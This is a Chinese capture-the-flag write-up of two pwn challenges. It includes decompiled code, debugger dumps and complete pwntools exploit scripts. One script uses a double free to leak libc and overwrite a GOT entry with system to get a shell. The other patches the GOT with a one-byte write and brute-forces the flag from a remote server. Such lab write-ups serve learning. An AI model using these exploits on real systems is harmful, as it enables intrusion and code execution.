

pwn

1.Roc826s_Note

```
[*] /home/xing/Downloads/POC/ROC826
    Arch:      amd64-64-little
    RELRO:     Partial RELRO
    Stack:     Canary found
    NX:        NX enabled
    PIE:       No PIE (0x400000)
```

检查保护

用ida64打开

The screenshot shows the IDA 64-bit debugger interface. The left pane displays a list of functions, with 'main' highlighted. The right pane shows the assembly code for the main function:

```
1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
2 {
3     int v3; // eax
4
5     setbuf(stdin, NULL);
6     setbuf(_bss_start, NULL);
7     while (1)
8     {
9         while (1)
10        {
11            menu();
12            v3 = readi();
13            if (v3 != 2)
14                break;
15            delete();
16        }
17        if (v3 == 6)
18            break;
19        if (v3 != 1)
20            goto LABEL_13;
21        add();
22    }
23    if (v3 != 3)
24    {
25        if (v3 == 4)
26            exit(0);
27    }
28    LABEL_13:
29    exit(0);
30}
31
32 show();
33 }
```

The assembly code is color-coded: blue for labels, red for instructions, and green for comments. The stack frame is shown at the bottom of the assembly window.

```
int64 add()
{
    signed int i; // [rsp+8h] [rbp-8h]
    signed int size; // [rsp+C8h] [rbp-4h]

    for ( i = 0; ; ++i )
    {
        if ( i > 19 )
        {
            puts("full!");
            return OLL;
        }
        if ( !list[i] )
            break;
    }
    puts("size?");
    size = readi();
    if ( size < 0 || size > 144 )
    {
        puts("Invalid size!");
        exit(0);
    }
    list[i] = (char *)malloc(size);
    printf("content:");
    read_n((int64)list[i], size);
    puts("done!");
    return OLL;
}
```

```
int64 dele()
{
    int v1; // [rsp+Ch] [rbp-4h]

    puts("index?");
    v1 = readi();
    if ( list[v1] )
    {
        free(list[v1]);
        puts("done!");
    }
    else
    {
        puts("Invalid index!");
    }
    return OLL;
}
```

```
int64 show()
{
    int v1; // [rsp+Ch] [rbp-4h]

    puts("index?");
```

```

    v1 = ready();
    if ( list[v1] )
    {
        printf("content:");
        puts(list[v1]);
    }
    else
    {
        puts("Invalid index!");
    }
    return OLL;
}

```

题目给了libc文件（不知道有啥用。。

根据群里的学习资料决定用double free，但是听c老板说好像方法多种多样

大概思路就是double free把got地址写在list上，show函数泄露libc地址

```

pwndbg> x/10gx 0x6020a0
0x6020a0 <list>:      0x000000000019ad010      0x0000000000000000
0x6020b0 <list+16>:   0x0000000000000000      0x0000000000000000
0x6020c0 <list+32>:   0x0000000000000000      0x0000000000000000
0x6020d0 <list+48>:   0x0000000000000000      0x0000000000000000
0x6020e0 <list+64>:   0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x60209a
0x60209a:      0xd010000000000000      0x00000000000019a
0x6020aa <list+10>:  0x0000000000000000      0x0000000000000000
0x6020ba <list+26>:  0x0000000000000000      0x0000000000000000
0x6020ca <list+42>:  0x0000000000000000      0x0000000000000000
0x6020da <list+58>:  0x0000000000000000      0x0000000000000000

```

再double free将free的got写为system

```

pwndbg> x/20gx 0x601ffa
0x601ffa:      0x1e28000000000000      0x8168000000000060
0x60200a:      0x8ee000007fb0207d      0x069600007fb0205c
0x60201a:      0x8290000000000040      0x669000007fb02025
0x60202a:      0x06c600007fb02025      0xd6b0000000000040
0x60203a:      0x06e600007fb02025      0xe250000000000040
0x60204a:      0x774000007fb0202d      0x071600007fb02020
0x60205a:      0x0726000000000040      0x0736000000000040
0x60206a:      0x0000000000000040      0x0000000000000000
0x60207a:      0xc620000000000000      0x000000007fb0205a
0x60208a:      0xb8e0000000000000      0x000000007fb0205a
pwndbg> x/20gx 0x602000
0x602000:      0x00000000000601e28      0x00007fb0207d8168
0x602010:      0x00007fb0205c8ee0      0x00000000000400696
0x602020:      0x00007fb020258290      0x00007fb020256690
0x602030:      0x00000000004006c6      0x00007fb02025d6b0
0x602040:      0x00000000004006e6      0x00007fb0202de250
0x602050:      0x00007fb020207740      0x00000000000400716
0x602060:      0x0000000000400726      0x00000000000400736
0x602070:      0x0000000000000000      0x0000000000000000

```

在double free申请堆的时候写入一个/bin/sh，这个地址会存在list中，再free (system) 这个地址就好了

没做过堆题也不知道这样行不行，exp也都抱着试一试的心态没写函数（菜



由 Xnip 截图

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *

while True:
    try:
        #p = process('./Roc826')
        p = remote("47.103.214.163 ", 21002)

        p.recvuntil(':')#malloc1 0
        p.sendline('1')
        p.recvuntil('size?\n')
        p.sendline('96')
        p.recvuntil('content:')
        p.sendline('first')

        p.recvuntil(':')#malloc2 1
        p.sendline('1')
        p.recvuntil('size?\n')
        p.sendline('96')
        p.recvuntil('content:')
        p.sendline('second')

        p.recvuntil(':')#free1
        p.sendline('2')
        p.recvuntil('index?\n')
        p.sendline('0')

        p.recvuntil(':')#free2
        p.sendline('2')
        p.recvuntil('index?\n')
        p.sendline('1')

        p.recvuntil(':')#free1 double
        p.sendline('2')
        p.recvuntil('index?\n')
        p.sendline('0')

        p.recvuntil(':')#malloc 2
        p.sendline('1')
        p.recvuntil('size?\n')
        p.sendline('96')
        p.recvuntil('content:')
        p.sendline(p64(0x60209a))

        p.recvuntil(':')#malloc *1 3
        p.sendline('1')
        p.recvuntil('size?\n')
        p.sendline('96')
        p.recvuntil('content:')
        p.sendline('aaa')

        p.recvuntil(':')#malloc *2 4
        p.sendline('1')
        p.recvuntil('size?\n')
        p.sendline('96')
        p.recvuntil('content:')
        p.sendline('bbb')

        p.recvuntil(':')#malloc fake p
```

```
p.sendline('1')
p.recvuntil('size?\n')
p.sendline('96')
p.recvuntil('content:')
p.sendline('a'*6+p64(0x602050))

p.recvuntil(':')#leak libc
p.sendline('3')
p.recvuntil('index?\n')
p.sendline('2')
p.recvuntil('content:')
start = u64(p.recv(6).ljust(8,'\\x00'))

libc = LibcSearcher("__libc_start_main", start)
libcbase=start-libc.dump('__libc_start_main')
system_addr=libcbase+libc.dump('system')

print hex(libcbase)
print hex(system_addr)
#-----
p.recvuntil(':')#malloc6
p.sendline('1')
p.recvuntil('size?\n')
p.sendline('80')
p.recvuntil('content:')
p.sendline('first')

p.recvuntil(':')#malloc7
p.sendline('1')
p.recvuntil('size?\n')
p.sendline('80')
p.recvuntil('content:')
p.sendline('second')

p.recvuntil(':')#free1
p.sendline('2')
p.recvuntil('index?\n')
p.sendline('6')

p.recvuntil(':')#free2
p.sendline('2')
p.recvuntil('index?\n')
p.sendline('7')

p.recvuntil(':')#free1 double
p.sendline('2')
p.recvuntil('index?\n')
p.sendline('6')

p.recvuntil(':')#malloc 8
p.sendline('1')
p.recvuntil('size?\n')
p.sendline('80')
p.recvuntil('content:')
p.sendline(p64(0x601ffa))

p.recvuntil(':')#malloc *9
p.sendline('1')
p.recvuntil('size?\n')
p.sendline('80')
p.recvuntil('content:')
p.sendline('/bin/sh\0')
```

```
p.recvuntil(':')#malloc *10
p.sendline('1')
p.recvuntil('size?\n')
p.sendline('80')
p.recvuntil('content:')
p.sendline('bbb')

p.recvuntil(':')#malloc fake p
p.sendline('1')
p.recvuntil('size?\n')
p.sendline('80')
p.recvuntil('content:')
payload = p32(0)+p8(0)+p8(0)
payload += p64(libcbase+0xee0)
payload += p64(system_addr)[0:6]
p.sendline(payload)

p.recvuntil(':')#
p.sendline('2')
p.recvuntil('index?\n')
p.sendline('9')

p.interactive()
except:
    p.close()
```

2.Another_Heaven

例行检查

```
[*] /home/xting/Downloads/loc/R0C8Z0  
    Arch:      amd64-64-little  
    RELRO:     Partial RELRO  
    Stack:     Canary found  
    NX:        NX enabled  
    PIE:       No PIE (0x400000)
```

用ida64打开

The screenshot shows the Immunity Debugger interface with the assembly window open. The assembly code is as follows:

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int result; // eax
4     char y_or_n; // [rsp+Bh] [rbp-35h]
5     char addr[12]; // [rsp+Ch] [rbp-34h]
6     __int64 v6; // [rsp+18h] [rbp-28h]
7     __int64 v7; // [rsp+20h] [rbp-20h]
8     __int64 v8; // [rsp+28h] [rbp-18h]
9     unsigned __int64 v9; // [rsp+38h] [rbp-8h]
10
11    v9 = _readfsqword(0x28u);
12    y_or_n = 0;
13    *(__WORD *)&addr[4] = OLL;
14    v6 = OLL;
15    v7 = OLL;
16    v8 = OLL;
17    init();
18    puts("There is a back door...\"Hacked by Annevi!\"");
19    *(DWORD *)addr = read1(); // 最多输入19个整数
20    read(0, (void *)*(signed int *)addr, 1uLL); // 将v5作为一个地址，并向其中写入一字节
21    puts("====");
22    puts("      ");
23    puts(" \\" );
24    puts(" \\" );
25    puts(" \\" );
26    puts(" \\" );
27    puts(&byte_40101A);
28    puts("====");
29    puts("          Login System");
30    printf("Account:", *(signed int *)addr);
31    read_n((__int64)ainput, 0x20);
32    if (strcmp(ainput, account) )
33    {
34        puts("Account Error!");
35        exit(0);
36    }
37}
```

? ? ? pornhub

The screenshot shows the IDA Pro interface with the Functions window open. The main function is selected. The assembly pseudocode for the main function is displayed below:

```
33 {  
34     puts("Account Error!");  
35     exit(0);  
36 }  
37 printf("Password:", account);  
38 read_n((int64)password, 0x30);  
39 if (!strcmp(password, flag))  
40 {  
41     puts("Welcome!The emperor Qie!");  
42     puts("|Recommended|Hottest|Most Viewed.....");  
43     result = 0;  
44 }  
45 else  
46 {  
47     puts("Wrong Password!");  
48     sleep(1u);  
49     puts("Forgot your password?(y/n)");  
50     read_n((int64)&y_or_n, 1);  
51     if (y_or_n != 'y')  
52         exit(0);  
53     puts("Security verification problem:Who is your Wife?");  
54     read_n((int64)&addr[4], 0x20);  
55     if (strcmp(&addr[4], s2, 0x30uLL))  
56     {  
57         puts("no,no,no!");  
58         exit(0);  
59     }  
60     puts("Welcome!The emperor Qie!");  
61     puts("Change your password,piz:");  
62     cpswd();  
63     puts("|Recommended|Hottest|Most Viewed.....");  
64     result = 0;  
65 }  
66 return result;  
67 }
```

Line 29 of 48

两个主要函数

The screenshot shows the IDA Pro interface with the Pseudocode-A tab selected. The code for the init() function is displayed:

```
1 int64 init()  
2 {  
3     int v0; // eax  
4  
5     setbuf(stdin, 0LL);  
6     setbuf(_bss_start, 0LL);  
7     v0 = open("./flag", 0);  
8     *(_QWORD *)&fd = v0;  
9     read(v0, flag, 0x30uLL);  
10    return 0LL;  
11 }
```

flag就再内存中

```

1 int64 cpswd()
2 {
3     int i; // [rsp+Ch] [rbp-14h]
4
5     puts("Input new password:");
6     read_n((int64)buf, 0x30);
7     printf("Processing.", 0x30LL);
8     for (i = 0; i < strlen(buf); ++i)
9     {
10        if (!strcmp((char*)(i + 6300000LL), sbuf[i], 1uLL))
11        {
12            puts("System Error!");
13            exit(0);
14        }
15        putchar('.');
16        usleep(0x2710u);
17    }
18    puts("Done!");
19    return 0LL;
20}

```

Line 28 of 48
00000B2F cpswd:1 (400B2F)

Output window
Command "JumpOpXref" failed
Python

一开始把strncpy看成了strcmp，就想到了爆破flag，然后发现不管输入什么都会输出done，后来才发现是strncpy。。。

因为开头有一个字节的任意地址写，所以把got中strcmp的偏移改成strncpy

```

pwndbg> x/10gx 0x602010
0x602010: 0x000007f56df7e4ee0 0x000000000004007b6
0x602020: 0x000000000004007c6 0x000000000004007d6
0x602030: 0x000007f56df472690 0x000000000004007f6
0x602040: 0x00000000000400806 0x000007f56df4796b0
0x602050: 0x00000000000400826 0x000007f56df4fa250
.got.plt:0000000000602010 qword_602010 dq 0 ; DAT
.got.plt:0000000000602018 off_602018 dq offset putchar ; DAT
.got.plt:0000000000602020 off_602020 dq offset strncpy ; DAT
.got.plt:0000000000602028 off_602028 dq offset strcmp ; DAT
.got.plt:0000000000602030 off_602030 dq offset puts ; DAT
.got.plt:0000000000602038 off_602038 dq offset strlen ; DAT
.got.plt:0000000000602040 off_602040 dq offset stack_chk_fail

```

然后爆破flag (python太烂，exp写不好)

```

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

flag=['h','g','a','m','e','{']
i=6
while True:
    for crash in range(33,122):
        #p = process('./another')
        p = remote("47.103.214.163 ", 21001)
        #gdb.attach(p,'b *0x400D87')

        p.recvuntil('vi!"\n')
        p.sendline('6299680')
        p.sendline(p8(0xd6)+'E99p1ant')
        p.recvuntil('Password:')
        p.sendline('aaa')
        p.recvuntil('(y/n)\n')
        p.sendline('y')
        p.recvuntil('Wife?\n')
        wife = 'Alice'+p32(0x7953B7C2)+p32(0x6568746E)
        wife +=p32(0xC2736973)+p32(0x696854B7)+p8(0x72)+p8(0x74)+p8(0x79)
        p.sendline(wife)
        p.recvuntil('Input new password:\n')

        p.sendline('/'*i+chr(crash))
        p.recvuntil('Processing.'+'.'*i)
        one = p.recv(1)

        if one=='S':
            i += 1
            p.close()
            print flag
            flag.append(chr(crash))
            break
        elif one=='.':
            p.close()
            print flag
            continue
        break

flag.append('}')
print flag

```

后来看到两个=， 猜测可能是base64

```

[+] Opening connection to 47.103.214.163 on port 21001: Done
[*] Closed connection to 47.103.214.163 port 21001
['h', 'g', 'a', 'm', 'e', '{', 'V', 'G', 'h', 'l', 'X', '2', 'F', 'u', 'b', '3',
'R', 'o', 'Z', 'X', 'J', 'f', 'd', '2', 'F', '5', 'X', '3', 'R', 'v', 'X', '2',
'h', 'l', 'Y', 'X', 'Z', 'l', 'b', 'g', '=', '=']

```

所以手动抄下来base64解码



BASE64加密解密

请将要加密或解密的内容复制到以下区域

The_another_way_to_heaven

发现flag不对，后来发现flag是没解码前的。。。